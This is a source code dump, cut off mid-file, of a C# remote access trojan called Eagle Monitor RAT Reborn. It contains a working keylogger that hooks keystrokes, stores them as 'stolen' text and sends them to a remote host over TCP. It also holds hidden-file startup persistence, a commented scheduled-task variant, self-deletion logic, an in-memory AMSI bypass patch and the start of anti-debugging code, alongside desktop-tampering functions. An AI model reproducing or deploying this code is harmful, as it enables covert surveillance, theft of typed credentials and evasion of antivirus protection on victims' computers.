IntPtr.Zero, DisplaySettingsFlags.CDS_UPDATEREGISTRY, IntPtr.Zero); result = (int)ret == 0; } return result; } internal static void Rotate(string degrees) { try { uint i = 0; i += 1; while (i <= 64) { switch (degrees) { case "0": RotateScreen(i, Orientations.DEGREES_CW_0); break; case "90": RotateScreen(i, Orientations.DEGREES_CW_90); break; case "180": RotateScreen(i, Orientations.DEGREES_CW_180); break; case "270": RotateScreen(i, Orientations.DEGREES_CW_270); break; default: break; } i += 1; } } catch {} } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/UI.cs ================================================ using Microsoft.Win32; using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class UI { internal static void HideTaskBar() { ShowWindow(FindWindow("Shell_TrayWnd", null), SW_HIDE); } internal static void ShowTaskBar() { ShowWindow(FindWindow("Shell_TrayWnd", null), SW_NORMAL); } internal static void SetWallpaper(byte[] file, string ext) { string path1 = Path.Combine(Path.GetTempFileName() + ext); string path2 = Path.Combine(Path.GetTempFileName() + ext); File.WriteAllBytes(path1, file); using (Bitmap bmp = new Bitmap(path1)) using (Graphics graphics = Graphics.FromImage(bmp)) { bmp.Save(path2, ImageFormat.Bmp); } using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true)) { key.SetValue("WallpaperStyle", 2.ToString()); key.SetValue("TileWallpaper", 0.ToString()); } SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path2, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE); } internal static void HideDesktopIcons() { IntPtr progManager = FindWindow("Progman", null); //If (progManager) ?? IntPtr desktop = FindWindowEx(progManager, IntPtr.Zero, "SHELLDLL_DefView", null); //If (desktop) ?? IntPtr handle = FindWindowEx(desktop, IntPtr.Zero, "SysListView32", null); ShowWindow(handle, SW_HIDE); } internal static void ShowDesktopIcons() { IntPtr progManager = FindWindow("Progman", null); //If (progManager) ?? IntPtr desktop = FindWindowEx(progManager, IntPtr.Zero, "SHELLDLL_DefView", null); //If (desktop) ?? IntPtr handle = FindWindowEx(desktop, IntPtr.Zero, "SysListView32", null); ShowWindow(handle, SW_SHOW); } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.CoreCompileInputs.cache ================================================ 8d77bb1bc688a014ccae57128c5c3f64b93d9fb8 ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Miscellaneous.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Miscellaneous.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.csproj.CopyComplete ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.CoreCompileInputs.cache ================================================ 4b8694c33b3eca502aecbbec1fb1e264281d1b7f ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Miscellaneous.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Miscellaneous.pdb E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Random.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Random.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Random.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Debug\Miscellaneous.pdb ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache ================================================ cd9b06406ebb28e7e921fa4a339edcfd2546bab0 ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Miscellaneous.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Miscellaneous.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Miscellaneous.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Miscellaneous.dll C:\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Miscellaneous.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Miscellaneous.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Miscellaneous.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Miscellaneous\obj\Release\Miscellaneous.dll ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Keyloggers { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { try { byte[] encryptedData = data.SerializePacket(this.key); lock (socket) { int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectWrite); byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; int sent = socket.Send(header); while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } return total; } } catch (Exception) { Connected = false; return 0; } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Keylogger/Hook.cs ================================================ using System; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Windows.Forms; using static Offline.Keyloggers.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs */ namespace Offline.Keyloggers { internal class Hook { internal static StringBuilder stolen; static Hook() { stolen = new StringBuilder(); } internal static Thread keyboadThread; internal static void AbortHook() { try { if (ptrHook != IntPtr.Zero) { UnhookWindowsHookEx(ptrHook); } keyboadThread.Abort(); } catch { } } internal static void StartHooking() { keyboadThread = new Thread(KeyboardThread); keyboadThread.Start(); } private static void HookKeyboard() { callback = new LowLevelKeyboardProc(GetAllKeys); ptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0); } private static void KeyboardThread() { try { HookKeyboard(); Application.Run(); } catch { } } private static string GetActiveWindowTitle() { try { const int nChars = 256; StringBuilder stringBuilder = new StringBuilder(nChars); IntPtr handle = GetForegroundWindow(); GetWindowThreadProcessId(handle, out uint pid); if (GetWindowText(handle, stringBuilder, nChars) > 0) { CurrentActiveWindowTitle = stringBuilder.ToString(); return CurrentActiveWindowTitle; } } catch (Exception) { } return "???"; } private static string KeyboardLayout(uint vkCode) { try { StringBuilder sb = new StringBuilder(); byte[] vkBuffer = new byte[256]; if (!GetKeyboardState(vkBuffer)) return ""; uint scanCode = MapVirtualKey(vkCode, 0); IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); return sb.ToString(); } catch { } return ((Keys)vkCode).ToString(); } private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp) { try { if (nCode >= 0 && wp == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lp); bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0; bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; string currentKey = KeyboardLayout((uint)vkCode); if (capsLockPressed || shiftPressed) { currentKey = currentKey.ToUpper(); } else { currentKey = currentKey.ToLower(); } if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) currentKey = "[" + (Keys)vkCode + "]"; else { switch (((Keys)vkCode).ToString()) { case "Space": currentKey = " "; break; case "Return": currentKey = "[ENTER]\n"; break; case "Escape": currentKey = "[ESC]\n"; break; case "Back": currentKey = "[Back]"; break; case "Tab": currentKey = "[Tab]\n"; break; } } if (!string.IsNullOrEmpty(currentKey)) { if (stolen.Length == 0 || CurrentActiveWindowTitle != GetActiveWindowTitle()) { stolen.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]"); stolen.Append($"\n{currentKey}"); } else { stolen.Append(currentKey); } } } else if (nCode >= 0 && wp == (IntPtr)WM_SYSKEYDOWN) { int vkCode = Marshal.ReadInt32(lp); bool altPressed = (GetKeyState(0xA5) & 0x8000) != 0; //only rigth alt //(GetKeyState(0xA4) & 0x8000) != 0 || (GetKeyState(0xA5) & 0x8000) != 0;//(GetKeyState(0x12) & 0xffff) != 0; string currentKey = KeyboardLayout((uint)vkCode); if (altPressed) { if (!string.IsNullOrEmpty(currentKey)) { if (stolen.Length == 0 || CurrentActiveWindowTitle != GetActiveWindowTitle()) { stolen.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]"); stolen.Append($"\n{currentKey}"); } else { stolen.Append(currentKey); } } } } return CallNextHookEx(ptrHook, nCode, wp, lp); } catch { return IntPtr.Zero; } } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Keylogger/Imports.cs ================================================ using System; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Keyloggers { internal static class Imports { #region"user32" private const string user32 = "user32.dll"; internal static string CurrentActiveWindowTitle; internal const short WM_KEYDOWN = 0x100; internal const int WM_SYSKEYDOWN = 0x104; [DllImport(user32)] internal extern static bool UnhookWindowsHookEx(IntPtr hook); [DllImport(user32)] internal static extern IntPtr GetKeyboardLayout(uint idThread); [DllImport(user32)] internal static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport(user32)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport(user32)] internal static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); [DllImport(user32)] internal static extern uint MapVirtualKey(uint uCode, uint uMapType); [DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)] internal extern static IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId); [DllImport(user32)] internal static extern IntPtr GetForegroundWindow(); [DllImport(user32)] internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport(user32)] internal static extern short GetKeyState(int keyCode); [DllImport(user32)] internal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [StructLayout(LayoutKind.Sequential)] internal struct KBDLLHOOKSTRUCT { public Keys key; public int scanCode; public int flags; public int time; public IntPtr extra; } internal delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); internal static IntPtr ptrHook; internal static LowLevelKeyboardProc callback; #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Keylogger/Launch.cs ================================================ using PacketLib; using PacketLib.Utils; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Keyloggers { public class Launch { public static void Start() { Hook.StartHooking(); } public static string CurrentKeyStroke() { return Hook.stolen.ToString(); } public static void ClearKeyStroke() { Hook.stolen.Clear(); } public static void StopHook() { Hook.AbortHook(); } public static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Offline.csproj ================================================  Debug AnyCPU {D317BA4E-5818-4FC4-AA4E-EEA824317759} Library Properties Offline Offline v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Stubs\ TRACE prompt 4 Off true {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} 1 0 0 tlbimp False True {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Persistence { internal class Imports { [DllImport("ntdll.dll")] internal static extern uint NtTerminateProcess(IntPtr hProcess, int erStatus); [DllImport("kernel32.dll")] internal static extern bool SetFileAttributes(string lpFileName, FileAttributes dwFileAttributes); [Flags] internal enum FileAttributes : uint { Readonly = 0x00000001, Hidden = 0x00000002, System = 0x00000004, } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/Launch.cs ================================================ using System; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Persistence { public static class Launch { internal static string ProgramPath = Application.ExecutablePath; //internal static string ExecName = AppDomain.CurrentDomain.FriendlyName; public static void Install(Method method, params string[] settings) { switch (method) { case Method.SHT_STARTUP_FOLDER: StartupFolder.Install(settings[0], settings[0]); break; default: return; } } public static void Uninstall(Method method, params string[] settings) { switch (method) { case Method.SHT_STARTUP_FOLDER: StartupFolder.Uninstall(settings[0], settings[0]); break; default: return; } } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/Method.cs ================================================  namespace Offline.Persistence { public enum Method { NONE = -1, SHT_STARTUP_FOLDER = 0, } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/Registry.cs ================================================ namespace Offline.Persistence { //TODO internal class Registry { } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/SelfDestruct.cs ================================================ using System.Diagnostics; using System.IO; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Persistence { internal class SelfDestruct { internal static void InitiateSelfDestructSequence() { try { /*Process.Start("cmd.exe", "/C choice /C Y /N /D Y /T 5 & Del " + Application.ExecutablePath);*/ /*string batch = Path.GetTempFileName() + ".bat"; using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine("@echo off"); sw.WriteLine("timeout 3 > NUL"); sw.WriteLine("CD " + Application.StartupPath); sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q"); sw.WriteLine("CD " + Path.GetTempPath()); sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden });*/ } catch { } } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/StartupFolder.cs ================================================ using IWshRuntimeLibrary; using System; using System.Diagnostics; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Persistence { internal class StartupFolder { private static void CreateShortcut(string shortcutName, string shortcutPath, string targetFileLocation) { string shortcutLocation = System.IO.Path.Combine(shortcutPath, shortcutName + ".lnk"); WshShell shell = new WshShell(); IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortcutLocation); shortcut.Description = "Eagle"; //shortcut.IconLocation = @"c:\myicon.ico"; shortcut.TargetPath = targetFileLocation; shortcut.Save(); } internal static void Install(string shortCutName, string appName) { string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + appName; if (System.IO.File.Exists(newPath)) return; System.IO.File.WriteAllBytes(newPath, System.IO.File.ReadAllBytes(Application.ExecutablePath)); Imports.SetFileAttributes(newPath, Imports.FileAttributes.Hidden | Imports.FileAttributes.System | Imports.FileAttributes.Readonly); CreateShortcut(shortCutName, Environment.GetFolderPath(Environment.SpecialFolder.Startup), newPath); } internal static void Uninstall(string shortCutName, string appName) { System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + shortCutName +".lnk"); SelfDestruct.InitiateSelfDestructSequence();//TO CHECK : Currently not working Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Persistence/TaskScheduler.cs ================================================ using Microsoft.VisualBasic; using System; using System.Diagnostics; using System.IO; namespace Offline.Persistence { //TODO public class TaskScheduler { /*public static void StartUpTaskScheduler(string Time, string TaskName) { try { if (Time == "" || Time == "%1%" || TaskName == "" || TaskName == "%C%") return; string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + Launch.ExecName; if (File.Exists(newPath) == false) { File.WriteAllBytes(newPath, File.ReadAllBytes(Launch.ProgramPath)); Imports.SetFileAttributes(newPath, Imports.FileAttributes.Hidden | Imports.FileAttributes.System | Imports.FileAttributes.Readonly); } string ShellCMD = "schtasks /create /sc minute /mo 1 /tn \"||\" /tr \"" + newPath + "\""; Interaction.Shell(ShellCMD.Replace("||", TaskName).Replace("1", Time), AppWinStyle.Hide, false, -1); } catch { } } public static void RemoveTaskScheduler(string TaskName) { try { string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + Launch.ExecName; try { File.Delete(newPath); } catch { } string ShellCMD = "schtasks /delete /tn " + TaskName + " /f"; Interaction.Shell(ShellCMD, AppWinStyle.Hide, false, -1); //InitiateSelfDestructSequence(); Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0); } catch { } //(Exception ex) { MessageBox.Show(ex.ToString()); } }*/ } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Offline")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Offline")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("d317ba4e-5818-4fc4-aa4e-eea824317759")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/AMSI.cs ================================================ using System; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Helped by https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs || */ namespace Offline.Special { internal static class AMSI { /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr LoadLibrary ( byte[] name ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate bool VirtualProtect ( IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); static LoadLibrary loadLibrary; static VirtualProtect virtualProtect; static void PrepareDelegate() { IntPtr loadLib = Resolver.GetExportAddress("kernel32.dll", "LoadLibraryW"); IntPtr virtualProt = Resolver.GetExportAddress("kernel32.dll", "VirtualProtect"); loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary)); virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect)); }*/ static IntPtr LoadAmsi() { return loadLibrary(System.Text.Encoding.Unicode.GetBytes("amsi.dll")); } internal static bool BlockIt() { //PrepareDelegate(); IntPtr amsiDll = Resolver.GetModuleBaseAddress("amsi.dll", (IntPtr)(-1)); if (amsiDll == IntPtr.Zero) LoadAmsi(); IntPtr amsiScanBufferLocation = Resolver.GetExportAddress("amsi.dll", "AmsiScanBuffer"); byte[] patchBytes = IntPtr.Size == 8 ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; bool b = virtualProtect(amsiScanBufferLocation, (UIntPtr)patchBytes.Length, 0x40, out uint oldProtect); if (!b) return false; Marshal.Copy(patchBytes, 0, amsiScanBufferLocation, patchBytes.Length); b = virtualProtect(amsiScanBufferLocation, (UIntPtr)patchBytes.Length, oldProtect, out uint _); if (!b) return false; return true; } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs ================================================ using System; using System.Runtime.InteropServices; using System.Threading; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal class AntiDBG { internal static bool isThreadLaunched; private const uint errorCode = 0xC0000005; static AntiDBG() { isThreadLaunched = false; } /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus RtlAdjustPrivilege ( RTL_PRIVILEGES privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus NtRaiseHardError ( uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, HARDERROR_RESPONSE_OPTION 